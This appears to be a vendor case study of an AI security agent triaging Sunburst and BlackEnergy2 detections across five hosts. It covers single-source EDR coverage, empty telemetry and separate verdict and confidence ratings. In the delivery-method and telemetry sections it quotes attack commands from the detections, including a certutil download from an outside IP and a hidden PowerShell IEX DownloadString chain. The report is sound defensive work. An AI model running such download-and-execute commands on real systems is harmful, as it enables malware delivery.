CASE-2026-0415-G · 2026-04-15 Malicious STANDARD SINGLE-SOURCE DETECTION TELEMETRY GAP AS FINDING

Sunburst on five hosts.
Only one EDR saw it.

Five hosts across Windows and Linux are flagged with APT-grade malware: Sunburst (SolarWinds-era supply-chain tooling) and BlackEnergy2 (Sandworm / APT44). Three weeks of recurring detections. Three other EDR connectors saw nothing. Two telemetry connectors, process_activity and file_activity, returned zero records on the affected hosts. The agent’s verdict: Critical. Its confidence: Medium. The gap between those two ratings is the case.

What fired
5 hosts (3 Windows + 2 Linux) with APT-attributed malware: Sunburst + BlackEnergy2 + cryptomining indicator. 6 distinct persistence locations over 3 weeks. 4 C2 destinations.
Single-source coverage
Only Zircon EDR V2 detected this cluster. Three other EDR connectors (Carbonblack, CrowdStrike, ATB-MDE) returned zero HIGH+ alerts in the same 90-day window.
Zero telemetry corroboration
file_activity = 0 records. process_activity = 0 records. Across six telemetry connectors. The agent could not independently verify execution.
15
FSQL queries
11m
Workers time
5
Hosts compromised
2
Malware families
$720-1.4K
Analyst cost saved
0
Telemetry corroboration
→ Cross-source verification.

The agent didn’t take Zircon’s word for it. It queried three other EDR connectors and two telemetry connectors. The cross-source view is what makes “Critical with Medium confidence” defensible.

→ Gaps are findings.

Zero records on file_activity is a finding, not a non-result. The agent surfaces it, sets confidence accordingly, and recommends connector remediation as part of the response.

→ Confidence calibration.

Verdict and confidence are separate dimensions. The verdict is Critical because the evidence supports it. The confidence is Medium because the verification chain has a documented break. The human reads both.

Single-Source Hit

25 detections. One vendor saw all of them.

Phase 1 intake against the detection_finding mesh returned 25 high-severity records across five hosts. The malware family names matched two distinct lineages: Sunburst, associated with the SolarWinds supply-chain compromise, and BlackEnergy2, attributed to Sandworm / APT44, a nation-state actor known for destructive intrusions.

Hash 31b50e5fbf4b123b6f32fc28edd0ba86 (Sunburst) appeared in six distinct persistence locations spanning Windows Tasks, Windows Startup folders, Linux /usr/bin/, Linux /etc/cron.hourly/, Windows Prefetch, and a user Desktop directory. All between March 24 and April 12. One hash, one binary, redeployed or self-propagating across the cluster.

HostOSUserFamilyPath
LAP-812Windowsdeborah.w***SunburstC:\Windows\Tasks\WinX.Sunburst.zip
WORKSTATION-272Windowschristopher.t***BlackEnergy2C:\Program Files (x86)\BlackEnergy2.zip
VIRTSRV-804Windows / VMedward.b***SunburstStartup folder
suse-mlops-1126Linux / SUSEpeter.t***BlackEnergy2 + cryptominerWebserver-served payload
ubuntu-appdev-1846Linux / Ubuntudawn.c***BlackEnergy2crontab persistence

The delivery methods are textbook LOLBin: outlook.exe → powershell.exe → certutil -urlcache on the laptop; excel.exe → cmd.exe → powershell.exe -nop -noni -w hidden -c IEX (DownloadString) on the workstation; scrcons.exe → rundll32 javascript: on the VM; bash → curl with cryptominer pipe on the SUSE host. Five different initial-access patterns, one campaign.

Single-Source Verification Problem

Three other EDR connectors had nothing.

Before promoting the verdict, the agent ran cross-source detection verification: same malware, same hosts, same 90-day window, queried across every other available EDR and detection connector.

Zircon EDR V2
25 DETECTIONS
Carbonblack
0 RECORDS
CrowdStrike
0 RECORDS
ATB-MDE (Defender)
DIFFERENT FAMILIES, RESOLVED
Kalibr
NO COVERAGE

ATB-MDE produced detections for Crilock and PSAttackTool on different hosts, all RESOLVED. Two other production EDRs, Carbonblack and CrowdStrike, produced zero HIGH+ findings in the same 90-day window. If Zircon misses a variant, no backup detection exists. Single-source detection is a process risk the agent surfaces explicitly.

Confidence in malware family attribution: High. Confidence in environmental scope: Medium. Zircon’s coverage map may not match Carbonblack’s or CrowdStrike’s. Other hosts may be infected and invisible to the EDR that’s looking.

Telemetry Gap

Detection without execution evidence.

The detection record contains a command line: certutil.exe -urlcache -split -f http://192.0.2.45/svc01da4def.exe. Convincing on its face. But the command line lives inside the detection event itself; it was reported by Zircon’s parser, not corroborated by an independent process tree. Standard verification requires pulling process_activity and file_activity for the affected hosts and matching execution timestamps to detection timestamps.

The agent ran exactly that verification, and got nothing.

# Phase 2 mandatory telemetry pivot — verify execution independently QUERY file_activity.file.name, file_activity.actor.process.name, file_activity.device.hostname, file_activity.time WITH file_activity.device.hostname IN (‘LAP-812’, ‘WORKSTATION-272’, ‘VIRTSRV-804’, ‘suse-mlops-1126’, ‘ubuntu-appdev-1846’) AFTER 30d → 0 records QUERY process_activity.process.name, process_activity.process.cmd_line, process_activity.device.hostname, process_activity.time WITH process_activity.device.hostname IN [<same 5 hosts>] AFTER 30d → 0 records

Zero file_activity records. Zero process_activity records. Across six telemetry connectors. Each query independently confirmed: the affected hosts either don’t forward EDR telemetry, or the connectors that should cover them don’t.

The agent’s confidence was set to Medium specifically because of this gap. The detection is real; the family attribution is supported by VirusTotal confirmation on the hashes; the execution chain cannot be independently verified. The report’s exact language: “Detection-only evidence; zero telemetry corroboration.”

01

Cross-source detection coverage is a hygiene metric.

One EDR seeing 25 detections while three others see zero is information. It does not invalidate the finding. Zircon’s verdict is well-supported by hash reputation. But it means the environmental scope claim is bounded by Zircon’s coverage map, which may not match what the rest of the stack sees.

02

Telemetry gaps are not silent.

file_activity and process_activity returning zero records is the loudest possible signal that something is wrong with the detection-to-telemetry coupling. The agent names the gap, sets confidence accordingly, and recommends investigating connector health before any cleanup action.

03

Confidence ≠ verdict.

Verdict: Malicious. Confidence: Medium. Both are stated. The verdict is supported by external hash reputation and consistent persistence patterns. The confidence is bounded by the inability to verify execution independently. Most autonomous tools collapse these into one number. Workers keeps them separate.

04

Standard tier budgets are a feature.

The investigation hit the 15-query budget at Standard tier. Rather than overrunning, it documented what was deferred (auth, network egress, full forensics) and recommended Deep tier upgrade with the specific queries that would extend coverage. Budget exhaustion is a decision point, not a failure.

Queries, sources & gaps

Cross-source verification queries

Q1Phase 1 intake: HIGH+ detection across mesh25 DETECTIONS
QUERY detection_finding.message, detection_finding.severity_id, detection_finding.device.hostname, detection_finding.actor.user.name, detection_finding.file.path, detection_finding.attacks WITH detection_finding.severity_id IN HIGH, CRITICAL, FATAL AFTER 90d
25 detections across 5 hosts. All from Zircon EDR V2. Sunburst + BlackEnergy2.
Q3Carbonblack cross-check: same hosts, same window0 RECORDS
QUERY detection_finding.message, detection_finding.severity_id, detection_finding.device.hostname FROM ‘Carbonblack’ WITH detection_finding.severity_id IN HIGH, CRITICAL AFTER 90d
0 records. No backup detection from this connector.
Q4CrowdStrike cross-check0 RECORDS
QUERY detection_finding.** FROM ‘CrowdStrike’ WITH detection_finding.severity_id IN HIGH, CRITICAL AFTER 90d
0 records. Two production EDRs blind to the same cluster Zircon flagged.
Q5file_activity telemetry pivot: does any source see execution?TELEMETRY GAP
QUERY file_activity.file.name, file_activity.actor.process.name, file_activity.device.hostname, file_activity.time WITH file_activity.device.hostname IN (‘LAP-812’, ‘WORKSTATION-272’, ‘VIRTSRV-804’, ‘suse-mlops-1126’, ‘ubuntu-appdev-1846’) AFTER 30d
0 records. file_activity connector has no coverage for these hosts. Execution cannot be independently verified.
Q6process_activity pivot: same five hostsTELEMETRY GAP
QUERY process_activity.process.name, process_activity.process.cmd_line, process_activity.device.hostname, process_activity.time WITH process_activity.device.hostname IN [<5 hosts>] AFTER 30d
0 records. Parent-child process chains beyond what Zircon reported in observables are not verifiable.
Q7Sunburst hash persistence across 3 weeks6 LOCATIONS
QUERY detection_finding.file.path, detection_finding.device.hostname, detection_finding.time WITH detection_finding.file.hash = ’31b50e5fbf4b123b6f32fc28edd0ba86′ AFTER 90d
6 distinct paths — Windows Tasks, Startup, Prefetch, Linux /usr/bin/, /etc/cron.hourly/, user Desktop. March 24 to April 12.
Q14–Q15VirusTotal hash enrichmentEXTERNAL CONFIRM
# OSINT enrichment on the two campaign hashes ENRICH hash = ’31b50e5fbf4b123b6f32fc28edd0ba86′ VIA virustotal ENRICH hash = ‘<BlackEnergy2 hash>’ VIA virustotal
→ Both hashes confirmed Known Malicious by multiple AV engines. Family attribution validated against external intel.

Showing 7 of 15 queries (budget reached at Standard tier). Full audit trail in queries.md.

Sources queried · with status

SourceStatusNotes
detection.zircon_v2HIT25 detections across 5 hosts. Sole detection source.
detection.carbonblackEMPTY0 HIGH+ records, same 90d window. No corroboration.
detection.crowdstrikeEMPTY0 HIGH+ records, same 90d window. No corroboration.
detection.atb_mde (Defender)DIFFERENT FAMILIESCrilock + PSAttackTool, all RESOLVED. Different surface, different families.
file_activity (ATB-XDR, CBC, Kalibr)GAP0 records across 6 telemetry connectors for the 5 affected hosts.
process_activity (ATB-XDR, CBC, Kalibr)GAP0 records. Independent execution verification impossible.
osint.virustotalHITBoth campaign hashes confirmed Known Malicious externally.

Gaps explicitly catalogued

  • Single-source detection coverage: if Zircon misses a variant, no other EDR provides backup. This is a process risk, not a finding closure.
  • Zero telemetry corroboration: file_activity + process_activity empty across all telemetry connectors for the 5 hosts. Execution timelines depend on Zircon’s parser.
  • Cannot confirm remediation efficacy: if any cleanup actions were taken, no telemetry trail shows the outcome.
  • Authentication for affected users not pulled. Budget-bound. Lateral movement and credential reuse from these 5 hosts is unverified.
  • Network egress detail for C2 IPs deferred. Standard tier budget exhausted at 15 queries. Recommend Deep tier upgrade for full scope.